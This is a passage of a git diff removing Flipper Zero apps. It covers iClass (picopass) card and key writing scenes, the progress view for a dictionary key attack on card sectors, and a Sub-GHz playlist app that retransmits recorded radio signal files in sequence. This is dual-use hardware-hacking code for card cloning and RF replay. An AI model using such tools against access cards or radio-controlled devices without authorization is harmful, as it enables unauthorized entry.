PicopassSceneStart)); - picopass_device_clear(picopass->dev); - view_dispatcher_switch_to_view(picopass->view_dispatcher, PicopassViewMenu); -} - -bool picopass_scene_start_on_event(void* context, SceneManagerEvent event) { - Picopass* picopass = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == SubmenuIndexRead) { - scene_manager_set_scene_state( - picopass->scene_manager, PicopassSceneStart, SubmenuIndexRead); - scene_manager_next_scene(picopass->scene_manager, PicopassSceneReadCard); - consumed = true; - } else if(event.event == SubmenuIndexSaved) { - // Explicitly save state so that the correct item is - // reselected if the user cancels loading a file. - scene_manager_set_scene_state( - picopass->scene_manager, PicopassSceneStart, SubmenuIndexSaved); - scene_manager_next_scene(picopass->scene_manager, PicopassSceneFileSelect); - consumed = true; - } else if(event.event == SubmenuIndexEliteDictAttack) { - scene_manager_set_scene_state( - picopass->scene_manager, PicopassSceneStart, SubmenuIndexEliteDictAttack); - scene_manager_next_scene(picopass->scene_manager, PicopassSceneEliteDictAttack); - consumed = true; - } - } - - return consumed; -} - -void picopass_scene_start_on_exit(void* context) { - Picopass* picopass = context; - submenu_reset(picopass->submenu); -} diff --git a/applications/external/picopass/scenes/picopass_scene_write_card.c b/applications/external/picopass/scenes/picopass_scene_write_card.c deleted file mode 100644 index ce396fc10..000000000 --- a/applications/external/picopass/scenes/picopass_scene_write_card.c +++ /dev/null @@ -1,53 +0,0 @@ -#include "../picopass_i.h" -#include - -void picopass_write_card_worker_callback(PicopassWorkerEvent event, void* context) { - UNUSED(event); - Picopass* picopass = context; - view_dispatcher_send_custom_event(picopass->view_dispatcher, PicopassCustomEventWorkerExit); -} - -void picopass_scene_write_card_on_enter(void* context) { - Picopass* picopass = context; - dolphin_deed(DolphinDeedNfcSave); - - // Setup view - Popup* popup = picopass->popup; - popup_set_header(popup, "Writing\npicopass\ncard", 68, 30, AlignLeft, AlignTop); - popup_set_icon(popup, 0, 3, &I_RFIDDolphinSend_97x61); - - // Start worker - view_dispatcher_switch_to_view(picopass->view_dispatcher, PicopassViewPopup); - picopass_worker_start( - picopass->worker, - PicopassWorkerStateWrite, - &picopass->dev->dev_data, - picopass_write_card_worker_callback, - picopass); - - picopass_blink_start(picopass); -} - -bool picopass_scene_write_card_on_event(void* context, SceneManagerEvent event) { - Picopass* picopass = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == PicopassCustomEventWorkerExit) { - scene_manager_next_scene(picopass->scene_manager, PicopassSceneWriteCardSuccess); - consumed = true; - } - } - return consumed; -} - -void picopass_scene_write_card_on_exit(void* context) { - Picopass* picopass = context; - - // Stop worker - picopass_worker_stop(picopass->worker); - // Clear view - popup_reset(picopass->popup); - - picopass_blink_stop(picopass); -} diff --git a/applications/external/picopass/scenes/picopass_scene_write_card_success.c b/applications/external/picopass/scenes/picopass_scene_write_card_success.c deleted file mode 100644 index cd760272f..000000000 --- a/applications/external/picopass/scenes/picopass_scene_write_card_success.c +++ /dev/null @@ -1,70 +0,0 @@ -#include "../picopass_i.h" -#include - -void picopass_scene_write_card_success_widget_callback( - GuiButtonType result, - InputType type, - void* context) { - furi_assert(context); - Picopass* picopass = context; - - if(type == InputTypeShort) { - view_dispatcher_send_custom_event(picopass->view_dispatcher, result); - } -} - -void picopass_scene_write_card_success_on_enter(void* context) { - Picopass* picopass = context; - Widget* widget = picopass->widget; - FuriString* str = furi_string_alloc_set("Write Success!"); - - dolphin_deed(DolphinDeedNfcReadSuccess); - - // Send notification - notification_message(picopass->notifications, &sequence_success); - - widget_add_button_element( - widget, - GuiButtonTypeLeft, - "Retry", - picopass_scene_write_card_success_widget_callback, - picopass); - - widget_add_button_element( - widget, - GuiButtonTypeRight, - "Menu", - picopass_scene_write_card_success_widget_callback, - picopass); - - widget_add_string_element( - widget, 64, 5, AlignCenter, AlignCenter, FontSecondary, furi_string_get_cstr(str)); - - furi_string_free(str); - - view_dispatcher_switch_to_view(picopass->view_dispatcher, PicopassViewWidget); -} - -bool picopass_scene_write_card_success_on_event(void* context, SceneManagerEvent event) { - Picopass* picopass = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == GuiButtonTypeLeft) { - consumed = scene_manager_previous_scene(picopass->scene_manager); - } else if(event.event == GuiButtonTypeRight) { - // Clear device name - picopass_device_set_name(picopass->dev, ""); - scene_manager_next_scene(picopass->scene_manager, PicopassSceneCardMenu); - consumed = true; - } - } - return consumed; -} - -void picopass_scene_write_card_success_on_exit(void* context) { - Picopass* picopass = context; - - // Clear view - widget_reset(picopass->widget); -} diff --git a/applications/external/picopass/scenes/picopass_scene_write_key.c b/applications/external/picopass/scenes/picopass_scene_write_key.c deleted file mode 100644 index 806a2b5a8..000000000 --- a/applications/external/picopass/scenes/picopass_scene_write_key.c +++ /dev/null @@ -1,53 +0,0 @@ -#include "../picopass_i.h" -#include - -void picopass_write_key_worker_callback(PicopassWorkerEvent event, void* context) { - UNUSED(event); - Picopass* picopass = context; - view_dispatcher_send_custom_event(picopass->view_dispatcher, PicopassCustomEventWorkerExit); -} - -void picopass_scene_write_key_on_enter(void* context) { - Picopass* picopass = context; - dolphin_deed(DolphinDeedNfcSave); - - // Setup view - Popup* popup = picopass->popup; - popup_set_header(popup, "Writing\niClass\nkey", 68, 30, AlignLeft, AlignTop); - popup_set_icon(popup, 0, 3, &I_RFIDDolphinSend_97x61); - - // Start worker - view_dispatcher_switch_to_view(picopass->view_dispatcher, PicopassViewPopup); - picopass_worker_start( - picopass->worker, - PicopassWorkerStateWriteKey, - &picopass->dev->dev_data, - picopass_write_key_worker_callback, - picopass); - - picopass_blink_start(picopass); -} - -bool picopass_scene_write_key_on_event(void* context, SceneManagerEvent event) { - Picopass* picopass = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == PicopassCustomEventWorkerExit) { - scene_manager_next_scene(picopass->scene_manager, PicopassSceneWriteCardSuccess); - consumed = true; - } - } - return consumed; -} - -void picopass_scene_write_key_on_exit(void* context) { - Picopass* picopass = context; - - // Stop worker - picopass_worker_stop(picopass->worker); - // Clear view - popup_reset(picopass->popup); - - picopass_blink_stop(picopass); -} diff --git a/applications/external/picopass/views/dict_attack.c b/applications/external/picopass/views/dict_attack.c deleted file mode 100644 index fb7335f6c..000000000 --- a/applications/external/picopass/views/dict_attack.c +++ /dev/null @@ -1,281 +0,0 @@ -#include "dict_attack.h" - -#include - -typedef enum { - DictAttackStateRead, - DictAttackStateCardRemoved, -} DictAttackState; - -struct DictAttack { - View* view; - DictAttackCallback callback; - void* context; -}; - -typedef struct { - DictAttackState state; - MfClassicType type; - FuriString* header; - uint8_t sectors_total; - uint8_t sectors_read; - uint8_t sector_current; - uint8_t keys_total; - uint8_t keys_found; - uint16_t dict_keys_total; - uint16_t dict_keys_current; - bool is_key_attack; - uint8_t key_attack_current_sector; -} DictAttackViewModel; - -static void dict_attack_draw_callback(Canvas* canvas, void* model) { - DictAttackViewModel* m = model; - if(m->state == DictAttackStateCardRemoved) { - canvas_set_font(canvas, FontPrimary); - canvas_draw_str_aligned(canvas, 64, 4, AlignCenter, AlignTop, "Lost the tag!"); - canvas_set_font(canvas, FontSecondary); - elements_multiline_text_aligned( - canvas, 64, 23, AlignCenter, AlignTop, "Make sure the tag is\npositioned correctly."); - } else if(m->state == DictAttackStateRead) { - char draw_str[32] = {}; - canvas_set_font(canvas, FontSecondary); - canvas_draw_str_aligned( - canvas, 64, 0, AlignCenter, AlignTop, furi_string_get_cstr(m->header)); - if(m->is_key_attack) { - snprintf( - draw_str, - sizeof(draw_str), - "Reuse key check for sector: %d", - m->key_attack_current_sector); - } else { - snprintf(draw_str, sizeof(draw_str), "Unlocking sector: %d", m->sector_current); - } - canvas_draw_str_aligned(canvas, 0, 10, AlignLeft, AlignTop, draw_str); - float dict_progress = m->dict_keys_total == 0 ? - 0 : - (float)(m->dict_keys_current) / (float)(m->dict_keys_total); - float progress = m->sectors_total == 0 ? 0 : - ((float)(m->sector_current) + dict_progress) / - (float)(m->sectors_total); - if(progress > 1.0) { - progress = 1.0; - } - if(m->dict_keys_current == 0) { - // Cause when people see 0 they think it's broken - snprintf(draw_str, sizeof(draw_str), "%d/%d", 1, m->dict_keys_total); - } else { - snprintf( - draw_str, sizeof(draw_str), "%d/%d", m->dict_keys_current, m->dict_keys_total); - } - elements_progress_bar_with_text(canvas, 0, 20, 128, dict_progress, draw_str); - canvas_set_font(canvas, FontSecondary); - snprintf(draw_str, sizeof(draw_str), "Keys found: %d/%d", m->keys_found, m->keys_total); - canvas_draw_str_aligned(canvas, 0, 33, AlignLeft, AlignTop, draw_str); - snprintf( - draw_str, sizeof(draw_str), "Sectors Read: %d/%d", m->sectors_read, m->sectors_total); - canvas_draw_str_aligned(canvas, 0, 43, AlignLeft, AlignTop, draw_str); - } - elements_button_center(canvas, "Skip"); -} - -static bool dict_attack_input_callback(InputEvent* event, void* context) { - DictAttack* dict_attack = context; - bool consumed = false; - if(event->type == InputTypeShort && event->key == InputKeyOk) { - if(dict_attack->callback) { - dict_attack->callback(dict_attack->context); - } - consumed = true; - } - return consumed; -} - -DictAttack* dict_attack_alloc() { - DictAttack* dict_attack = malloc(sizeof(DictAttack)); - dict_attack->view = view_alloc(); - view_allocate_model(dict_attack->view, ViewModelTypeLocking, sizeof(DictAttackViewModel)); - view_set_draw_callback(dict_attack->view, dict_attack_draw_callback); - view_set_input_callback(dict_attack->view, dict_attack_input_callback); - view_set_context(dict_attack->view, dict_attack); - with_view_model( - dict_attack->view, - DictAttackViewModel * model, - { model->header = furi_string_alloc(); }, - false); - return dict_attack; -} - -void dict_attack_free(DictAttack* dict_attack) { - furi_assert(dict_attack); - with_view_model( - dict_attack->view, - DictAttackViewModel * model, - { furi_string_free(model->header); }, - false); - view_free(dict_attack->view); - free(dict_attack); -} - -void dict_attack_reset(DictAttack* dict_attack) { - furi_assert(dict_attack); - with_view_model( - dict_attack->view, - DictAttackViewModel * model, - { - model->state = DictAttackStateRead; - model->type = MfClassicType1k; - model->sectors_total = 1; - model->sectors_read = 0; - model->sector_current = 0; - model->keys_total = 0; - model->keys_found = 0; - model->dict_keys_total = 0; - model->dict_keys_current = 0; - model->is_key_attack = false; - furi_string_reset(model->header); - }, - false); -} - -View* dict_attack_get_view(DictAttack* dict_attack) { - furi_assert(dict_attack); - return dict_attack->view; -} - -void dict_attack_set_callback(DictAttack* dict_attack, DictAttackCallback callback, void* context) { - furi_assert(dict_attack); - furi_assert(callback); - dict_attack->callback = callback; - dict_attack->context = context; -} - -void dict_attack_set_header(DictAttack* dict_attack, const char* header) { - furi_assert(dict_attack); - furi_assert(header); - - with_view_model( - dict_attack->view, - DictAttackViewModel * model, - { furi_string_set(model->header, header); }, - true); -} - -void dict_attack_set_card_detected(DictAttack* dict_attack) { - furi_assert(dict_attack); - with_view_model( - dict_attack->view, - DictAttackViewModel * model, - { - model->state = DictAttackStateRead; - model->sectors_total = 1; - model->keys_total = model->sectors_total; - }, - true); -} - -void dict_attack_set_card_removed(DictAttack* dict_attack) { - furi_assert(dict_attack); - with_view_model( - dict_attack->view, - DictAttackViewModel * model, - { model->state = DictAttackStateCardRemoved; }, - true); -} - -void dict_attack_set_sector_read(DictAttack* dict_attack, uint8_t sec_read) { - furi_assert(dict_attack); - with_view_model( - dict_attack->view, DictAttackViewModel * model, { model->sectors_read = sec_read; }, true); -} - -void dict_attack_set_keys_found(DictAttack* dict_attack, uint8_t keys_found) { - furi_assert(dict_attack); - with_view_model( - dict_attack->view, DictAttackViewModel * model, { model->keys_found = keys_found; }, true); -} - -void dict_attack_set_current_sector(DictAttack* dict_attack, uint8_t curr_sec) { - furi_assert(dict_attack); - with_view_model( - dict_attack->view, - DictAttackViewModel * model, - { - model->sector_current = curr_sec; - model->dict_keys_current = 0; - }, - true); -} - -void dict_attack_inc_current_sector(DictAttack* dict_attack) { - furi_assert(dict_attack); - with_view_model( - dict_attack->view, - DictAttackViewModel * model, - { - if(model->sector_current < model->sectors_total) { - model->sector_current++; - model->dict_keys_current = 0; - } - }, - true); -} - -void dict_attack_inc_keys_found(DictAttack* dict_attack) { - furi_assert(dict_attack); - with_view_model( - dict_attack->view, - DictAttackViewModel * model, - { - if(model->keys_found < model->keys_total) { - model->keys_found++; - } - }, - true); -} - -void dict_attack_set_total_dict_keys(DictAttack* dict_attack, uint16_t dict_keys_total) { - furi_assert(dict_attack); - with_view_model( - dict_attack->view, - DictAttackViewModel * model, - { model->dict_keys_total = dict_keys_total; }, - true); -} - -void dict_attack_inc_current_dict_key(DictAttack* dict_attack, uint16_t keys_tried) { - furi_assert(dict_attack); - with_view_model( - dict_attack->view, - DictAttackViewModel * model, - { - if(model->dict_keys_current + keys_tried < model->dict_keys_total) { - model->dict_keys_current += keys_tried; - } - }, - true); -} - -void dict_attack_set_key_attack(DictAttack* dict_attack, bool is_key_attack, uint8_t sector) { - furi_assert(dict_attack); - with_view_model( - dict_attack->view, - DictAttackViewModel * model, - { - model->is_key_attack = is_key_attack; - model->key_attack_current_sector = sector; - }, - true); -} - -void dict_attack_inc_key_attack_current_sector(DictAttack* dict_attack) { - furi_assert(dict_attack); - with_view_model( - dict_attack->view, - DictAttackViewModel * model, - { - if(model->key_attack_current_sector < model->sectors_total) { - model->key_attack_current_sector++; - } - }, - true); -} diff --git a/applications/external/picopass/views/dict_attack.h b/applications/external/picopass/views/dict_attack.h deleted file mode 100644 index bdfa3e952..000000000 --- a/applications/external/picopass/views/dict_attack.h +++ /dev/null @@ -1,44 +0,0 @@ -#pragma once -#include -#include -#include - -#include - -typedef struct DictAttack DictAttack; - -typedef void (*DictAttackCallback)(void* context); - -DictAttack* dict_attack_alloc(); - -void dict_attack_free(DictAttack* dict_attack); - -void dict_attack_reset(DictAttack* dict_attack); - -View* dict_attack_get_view(DictAttack* dict_attack); - -void dict_attack_set_callback(DictAttack* dict_attack, DictAttackCallback callback, void* context); - -void dict_attack_set_header(DictAttack* dict_attack, const char* header); - -void dict_attack_set_card_detected(DictAttack* dict_attack); - -void dict_attack_set_card_removed(DictAttack* dict_attack); - -void dict_attack_set_sector_read(DictAttack* dict_attack, uint8_t sec_read); - -void dict_attack_set_keys_found(DictAttack* dict_attack, uint8_t keys_found); - -void dict_attack_set_current_sector(DictAttack* dict_attack, uint8_t curr_sec); - -void dict_attack_inc_current_sector(DictAttack* dict_attack); - -void dict_attack_inc_keys_found(DictAttack* dict_attack); - -void dict_attack_set_total_dict_keys(DictAttack* dict_attack, uint16_t dict_keys_total); - -void dict_attack_inc_current_dict_key(DictAttack* dict_attack, uint16_t keys_tried); - -void dict_attack_set_key_attack(DictAttack* dict_attack, bool is_key_attack, uint8_t sector); - -void dict_attack_inc_key_attack_current_sector(DictAttack* dict_attack); diff --git a/applications/external/playlist/application.fam b/applications/external/playlist/application.fam deleted file mode 100644 index d5ec9fd81..000000000 --- a/applications/external/playlist/application.fam +++ /dev/null @@ -1,15 +0,0 @@ -App( - appid="subghz_playlist", - name="Sub-GHz Playlist", - apptype=FlipperAppType.EXTERNAL, - entry_point="playlist_app", - requires=["storage", "gui", "dialogs", "subghz"], - stack_size=2 * 1024, - order=14, - fap_icon="playlist_10px.png", - fap_category="Sub-GHz", - fap_icon_assets="images", - fap_author="@darmiel", - fap_version="1.0", - fap_description="App works with list of sub-ghz files from .txt file that contains paths to target files.", -) diff --git a/applications/external/playlist/canvas_helper.c b/applications/external/playlist/canvas_helper.c deleted file mode 100644 index ecb2eed8b..000000000 --- a/applications/external/playlist/canvas_helper.c +++ /dev/null @@ -1,81 +0,0 @@ -#include - -#define WIDTH 128 -#define HEIGHT 64 - -void draw_centered_boxed_str(Canvas* canvas, int x, int y, int height, int pad, const char* text) { - // get width of text - int w = canvas_string_width(canvas, text); - canvas_draw_rframe(canvas, x, y, w + pad, height, 2); - canvas_draw_str_aligned(canvas, x + pad / 2, y + height / 2, AlignLeft, AlignCenter, text); -} - -void draw_corner_aligned(Canvas* canvas, int width, int height, Align horizontal, Align vertical) { - canvas_set_color(canvas, ColorBlack); - switch(horizontal) { - case AlignLeft: - switch(vertical) { - case AlignTop: - canvas_draw_rbox(canvas, 0, 0, width, height, 3); - canvas_draw_box(canvas, 0, 0, width, 3); - canvas_draw_box(canvas, 0, 0, 3, height); - break; - case AlignCenter: - canvas_draw_rbox(canvas, 0, HEIGHT - height / 2, width, height, 3); - canvas_draw_box(canvas, 0, HEIGHT - height / 2, 3, height); - break; - case AlignBottom: - canvas_draw_rbox(canvas, 0, HEIGHT - height, width, height, 3); - canvas_draw_box(canvas, 0, HEIGHT - height, 3, height); - canvas_draw_box(canvas, 0, HEIGHT - 3, width, 3); - break; - default: - break; - } - break; - case AlignRight: - switch(vertical) { - case AlignTop: - canvas_draw_rbox(canvas, WIDTH - width, 0, width, height, 3); - canvas_draw_box(canvas, WIDTH - width, 0, width, 3); // bottom corner - canvas_draw_box(canvas, WIDTH - 3, 0, 3, height); // right corner - break; - case AlignCenter: - canvas_draw_rbox(canvas, WIDTH - width, HEIGHT / 2 - height / 2, width, height, 3); - canvas_draw_box(canvas, WIDTH - 3, HEIGHT / 2 - height / 2, 3, height); // right corner - break; - case AlignBottom: - canvas_draw_rbox(canvas, WIDTH - width, HEIGHT - height, width, height, 3); - canvas_draw_box(canvas, WIDTH - 3, HEIGHT - height, 3, height); // right corner - canvas_draw_box(canvas, WIDTH - width, HEIGHT - 3, width, 3); // bottom corner - break; - default: - break; - } - break; - case AlignCenter: - switch(vertical) { - case AlignTop: - canvas_draw_rbox(canvas, WIDTH / 2 - width / 2, 0, width, height, 3); - canvas_draw_box(canvas, WIDTH / 2 - width / 2, 0, width, 3); // bottom corner - canvas_draw_box(canvas, WIDTH / 2 - 3, 0, 3, height); // right corner - break; - case AlignCenter: - canvas_draw_rbox( - canvas, WIDTH / 2 - width / 2, HEIGHT / 2 - height / 2, width, height, 3); - canvas_draw_box( - canvas, WIDTH / 2 - 3, HEIGHT / 2 - height / 2, 3, height); // right corner - break; - case AlignBottom: - canvas_draw_rbox(canvas, WIDTH / 2 - width / 2, HEIGHT - height, width, height, 3); - canvas_draw_box(canvas, WIDTH / 2 - 3, HEIGHT - height, 3, height); // right corner - canvas_draw_box(canvas, WIDTH / 2 - width / 2, HEIGHT - 3, width, 3); // bottom corner - break; - default: - break; - } - break; - default: - break; - } -} \ No newline at end of file diff --git a/applications/external/playlist/canvas_helper.h b/applications/external/playlist/canvas_helper.h deleted file mode 100644 index cf73bdb32..000000000 --- a/applications/external/playlist/canvas_helper.h +++ /dev/null @@ -1,5 +0,0 @@ -#include - -void draw_centered_boxed_str(Canvas* canvas, int x, int y, int height, int pad, const char* text); - -void draw_corner_aligned(Canvas* canvas, int width, int height, Align horizontal, Align vertical); \ No newline at end of file diff --git a/applications/external/playlist/helpers/radio_device_loader.c b/applications/external/playlist/helpers/radio_device_loader.c deleted file mode 100644 index d2cffde58..000000000 --- a/applications/external/playlist/helpers/radio_device_loader.c +++ /dev/null @@ -1,64 +0,0 @@ -#include "radio_device_loader.h" - -#include -#include - -static void radio_device_loader_power_on() { - uint8_t attempts = 0; - while(!furi_hal_power_is_otg_enabled() && attempts++ < 5) { - furi_hal_power_enable_otg(); - //CC1101 power-up time - furi_delay_ms(10); - } -} - -static void radio_device_loader_power_off() { - if(furi_hal_power_is_otg_enabled()) furi_hal_power_disable_otg(); -} - -bool radio_device_loader_is_connect_external(const char* name) { - bool is_connect = false; - bool is_otg_enabled = furi_hal_power_is_otg_enabled(); - - if(!is_otg_enabled) { - radio_device_loader_power_on(); - } - - const SubGhzDevice* device = subghz_devices_get_by_name(name); - if(device) { - is_connect = subghz_devices_is_connect(device); - } - - if(!is_otg_enabled) { - radio_device_loader_power_off(); - } - return is_connect; -} - -const SubGhzDevice* radio_device_loader_set( - const SubGhzDevice* current_radio_device, - SubGhzRadioDeviceType radio_device_type) { - const SubGhzDevice* radio_device; - - if(radio_device_type == SubGhzRadioDeviceTypeExternalCC1101 && - radio_device_loader_is_connect_external(SUBGHZ_DEVICE_CC1101_EXT_NAME)) { - radio_device_loader_power_on(); - radio_device = subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_EXT_NAME); - subghz_devices_begin(radio_device); - } else if(current_radio_device == NULL) { - radio_device = subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_INT_NAME); - } else { - radio_device_loader_end(current_radio_device); - radio_device = subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_INT_NAME); - } - - return radio_device; -} - -void radio_device_loader_end(const SubGhzDevice* radio_device) { - furi_assert(radio_device); - radio_device_loader_power_off(); - if(radio_device != subghz_devices_get_by_name(SUBGHZ_DEVICE_CC1101_INT_NAME)) { - subghz_devices_end(radio_device); - } -} \ No newline at end of file diff --git a/applications/external/playlist/helpers/radio_device_loader.h b/applications/external/playlist/helpers/radio_device_loader.h deleted file mode 100644 index bee4e2c36..000000000 --- a/applications/external/playlist/helpers/radio_device_loader.h +++ /dev/null @@ -1,15 +0,0 @@ -#pragma once - -#include - -/** SubGhzRadioDeviceType */ -typedef enum { - SubGhzRadioDeviceTypeInternal, - SubGhzRadioDeviceTypeExternalCC1101, -} SubGhzRadioDeviceType; - -const SubGhzDevice* radio_device_loader_set( - const SubGhzDevice* current_radio_device, - SubGhzRadioDeviceType radio_device_type); - -void radio_device_loader_end(const SubGhzDevice* radio_device); \ No newline at end of file diff --git a/applications/external/playlist/images/ButtonRight_4x7.png b/applications/external/playlist/images/ButtonRight_4x7.png deleted file mode 100644 index 8e1c74c1c..000000000 Binary files a/applications/external/playlist/images/ButtonRight_4x7.png and /dev/null differ diff --git a/applications/external/playlist/images/sub1_10px.png b/applications/external/playlist/images/sub1_10px.png deleted file mode 100644 index 5a25fdf4e..000000000 Binary files a/applications/external/playlist/images/sub1_10px.png and /dev/null differ diff --git a/applications/external/playlist/playlist.c b/applications/external/playlist/playlist.c deleted file mode 100644 index ba35cfe42..000000000 --- a/applications/external/playlist/playlist.c +++ /dev/null @@ -1,842 +0,0 @@ -#include - -#include -#include -#include -#include - -#include -#include - -#include -#include - -#include "helpers/radio_device_loader.h" - -#include "flipper_format_stream.h" -#include "flipper_format_stream_i.h" - -#include -#include - -#include "playlist_file.h" -#include "canvas_helper.h" - -#define PLAYLIST_FOLDER "/ext/subplaylist" -#define PLAYLIST_EXT ".txt" -#define TAG "Playlist" - -#define STATE_NONE 0 -#define STATE_OVERVIEW 1 -#define STATE_SENDING 2 - -#define WIDTH 128 -#define HEIGHT 64 - -typedef struct { - int current_count; // number of processed files - int total_count; // number of items in the playlist - - int playlist_repetitions; // number of times to repeat the whole playlist - int current_playlist_repetition; // current playlist repetition - - // last 3 files - FuriString* prev_0_path; // current file - FuriString* prev_1_path; // previous file - FuriString* prev_2_path; // previous previous file - FuriString* prev_3_path; // you get the idea - - int state; // current state - - ViewPort* view_port; -} DisplayMeta; - -typedef struct { - FuriThread* thread; - Storage* storage; - FlipperFormat* format; - - DisplayMeta* meta; - - FuriString* file_path; // path to the playlist file - const SubGhzDevice* radio_device; - - bool ctl_request_exit; // can be set to true if the worker should exit - bool ctl_pause; // can be set to true if the worker should pause - bool ctl_request_skip; // can be set to true if the worker should skip the current file - bool ctl_request_prev; // can be set to true if the worker should go to the previous file - - bool is_running; // indicates if the worker is running -} PlaylistWorker; - -typedef struct { - FuriMutex* mutex; - FuriMessageQueue* input_queue; - ViewPort* view_port; - Gui* gui; - - DisplayMeta* meta; - PlaylistWorker* worker; - - FuriString* file_path; // Path to the playlist file -} Playlist; - -//////////////////////////////////////////////////////////////////////////////// - -void meta_set_state(DisplayMeta* meta, int state) { - meta->state = state; - view_port_update(meta->view_port); -} - -static FuriHalSubGhzPreset str_to_preset(FuriString* preset) { - if(furi_string_cmp_str(preset, "FuriHalSubGhzPresetOok270Async") == 0) { - return FuriHalSubGhzPresetOok270Async; - } - if(furi_string_cmp_str(preset, "FuriHalSubGhzPresetOok650Async") == 0) { - return FuriHalSubGhzPresetOok650Async; - } - if(furi_string_cmp_str(preset, "FuriHalSubGhzPreset2FSKDev238Async") == 0) { - return FuriHalSubGhzPreset2FSKDev238Async; - } - if(furi_string_cmp_str(preset, "FuriHalSubGhzPreset2FSKDev476Async") == 0) { - return FuriHalSubGhzPreset2FSKDev476Async; - } - if(furi_string_cmp_str(preset, "FuriHalSubGhzPresetMSK99_97KbAsync") == 0) { - return FuriHalSubGhzPresetMSK99_97KbAsync; - } - if(furi_string_cmp_str(preset, "FuriHalSubGhzPresetMSK99_97KbAsync") == 0) { - return FuriHalSubGhzPresetMSK99_97KbAsync; - } - return FuriHalSubGhzPresetCustom; -} - -// -4: missing protocol -// -3: missing preset -// -2: transmit error -// -1: error -// 0: ok -// 1: resend -// 2: exited -static int playlist_worker_process( - PlaylistWorker* worker, - FlipperFormat* fff_file, - FlipperFormat* fff_data, - const char* path, - FuriString* preset, - FuriString* protocol) { - // actual sending of .sub file - - if(!flipper_format_file_open_existing(fff_file, path)) { - FURI_LOG_E(TAG, " (TX) Failed to open %s", path); - return -1; - } - - // read frequency or default to 433.92MHz - uint32_t frequency = 0; - if(!flipper_format_read_uint32(fff_file, "Frequency", &frequency, 1)) { - FURI_LOG_W(TAG, " (TX) Missing Frequency, defaulting to 433.92MHz"); - frequency = 433920000; - } - if(!subghz_devices_is_frequency_valid(worker->radio_device, frequency)) { - FURI_LOG_E( - TAG, " (TX) The SubGhz device used does not support the frequency %lu", frequency); - return -2; - } - - // check if preset is present - if(!flipper_format_read_string(fff_file, "Preset", preset)) { - FURI_LOG_E(TAG, " (TX) Missing Preset"); - return -3; - } - - // check if protocol is present - if(!flipper_format_read_string(fff_file, "Protocol", protocol)) { - FURI_LOG_E(TAG, " (TX) Missing Protocol"); - return -4; - } - - if(!furi_string_cmp_str(protocol, "RAW")) { - subghz_protocol_raw_gen_fff_data( - fff_data, path, subghz_devices_get_name(worker->radio_device)); - } else { - stream_copy_full( - flipper_format_get_raw_stream(fff_file), flipper_format_get_raw_stream(fff_data)); - } - flipper_format_file_close(fff_file); - - // (try to) send file - SubGhzEnvironment* environment = subghz_environment_alloc(); - subghz_environment_set_protocol_registry(environment, (void*)&subghz_protocol_registry); - SubGhzTransmitter* transmitter = - subghz_transmitter_alloc_init(environment, furi_string_get_cstr(protocol)); - - subghz_transmitter_deserialize(transmitter, fff_data); - - subghz_devices_load_preset(worker->radio_device, str_to_preset(preset), NULL); - // there is no check for a custom preset - frequency = subghz_devices_set_frequency(worker->radio_device, frequency); - - // Set device to TX and check frequency is alowed to TX - if(!subghz_devices_set_tx(worker->radio_device)) { - FURI_LOG_E( - TAG, - " (TX) The SubGhz device used does not support the frequency for transmitеing, %lu", - frequency); - return -5; - } - FURI_LOG_D(TAG, " (TX) Start sending ..."); - int status = 0; - - subghz_devices_start_async_tx(worker->radio_device, subghz_transmitter_yield, transmitter); - while(!subghz_devices_is_async_complete_tx(worker->radio_device)) { - if(worker->ctl_request_exit) { - FURI_LOG_D(TAG, " (TX) Requested to exit. Cancelling sending..."); - status = 2; - break; - } - if(worker->ctl_pause) { - FURI_LOG_D(TAG, " (TX) Requested to pause. Cancelling and resending..."); - status = 1; - break; - } - if(worker->ctl_request_skip) { - worker->ctl_request_skip = false; - FURI_LOG_D(TAG, " (TX) Requested to skip. Cancelling and resending..."); - status = 0; - break; - } - if(worker->ctl_request_prev) { - worker->ctl_request_prev = false; - FURI_LOG_D(TAG, " (TX) Requested to prev. Cancelling and resending..."); - status = 3; - break; - } - furi_delay_ms(50); - } - - FURI_LOG_D(TAG, " (TX) Done sending."); - - subghz_devices_stop_async_tx(worker->radio_device); - subghz_devices_idle(worker->radio_device); - - subghz_transmitter_free(transmitter); - - return status; -} - -// true - the worker can continue -// false - the worker should exit -static bool playlist_worker_wait_pause(PlaylistWorker* worker) { - // wait if paused - while(worker->ctl_pause && !worker->ctl_request_exit) { - furi_delay_ms(50); - } - // exit loop if requested to stop - if(worker->ctl_request_exit) { - FURI_LOG_D(TAG, "Requested to exit. Exiting loop..."); - return false; - } - return true; -} - -void updatePlayListView(PlaylistWorker* worker, const char* str) { - furi_string_reset(worker->meta->prev_3_path); - furi_string_set(worker->meta->prev_3_path, furi_string_get_cstr(worker->meta->prev_2_path)); - - furi_string_reset(worker->meta->prev_2_path); - furi_string_set(worker->meta->prev_2_path, furi_string_get_cstr(worker->meta->prev_1_path)); - - furi_string_reset(worker->meta->prev_1_path); - furi_string_set(worker->meta->prev_1_path, furi_string_get_cstr(worker->meta->prev_0_path)); - - furi_string_reset(worker->meta->prev_0_path); - furi_string_set(worker->meta->prev_0_path, str); - - view_port_update(worker->meta->view_port); -} - -static bool playlist_worker_play_playlist_once( - PlaylistWorker* worker, - Storage* storage, - FlipperFormat* fff_head, - FlipperFormat* fff_data, - FuriString* data, - FuriString* preset, - FuriString* protocol) { - // - if(!flipper_format_rewind(fff_head)) { - FURI_LOG_E(TAG, "Failed to rewind file"); - return false; - } - - while(flipper_format_read_string(fff_head, "sub", data)) { - if(!playlist_worker_wait_pause(worker)) { - break; - } - - // update state to sending - meta_set_state(worker->meta, STATE_SENDING); - - ++worker->meta->current_count; - const char* str = furi_string_get_cstr(data); - - // it's not fancy, but it works for now :) - updatePlayListView(worker, str); - - for(int i = 0; i < 1; i++) { - if(!playlist_worker_wait_pause(worker)) { - break; - } - - view_port_update(worker->meta->view_port); - - FURI_LOG_D(TAG, "(worker) Sending %s", str); - - FlipperFormat* fff_file = flipper_format_file_alloc(storage); - - int status = - playlist_worker_process(worker, fff_file, fff_data, str, preset, protocol); - - // if there was an error, fff_file is not already freed - if(status < 0) { - flipper_format_file_close(fff_file); - flipper_format_free(fff_file); - } - - // re-send file is paused mid-send - if(status 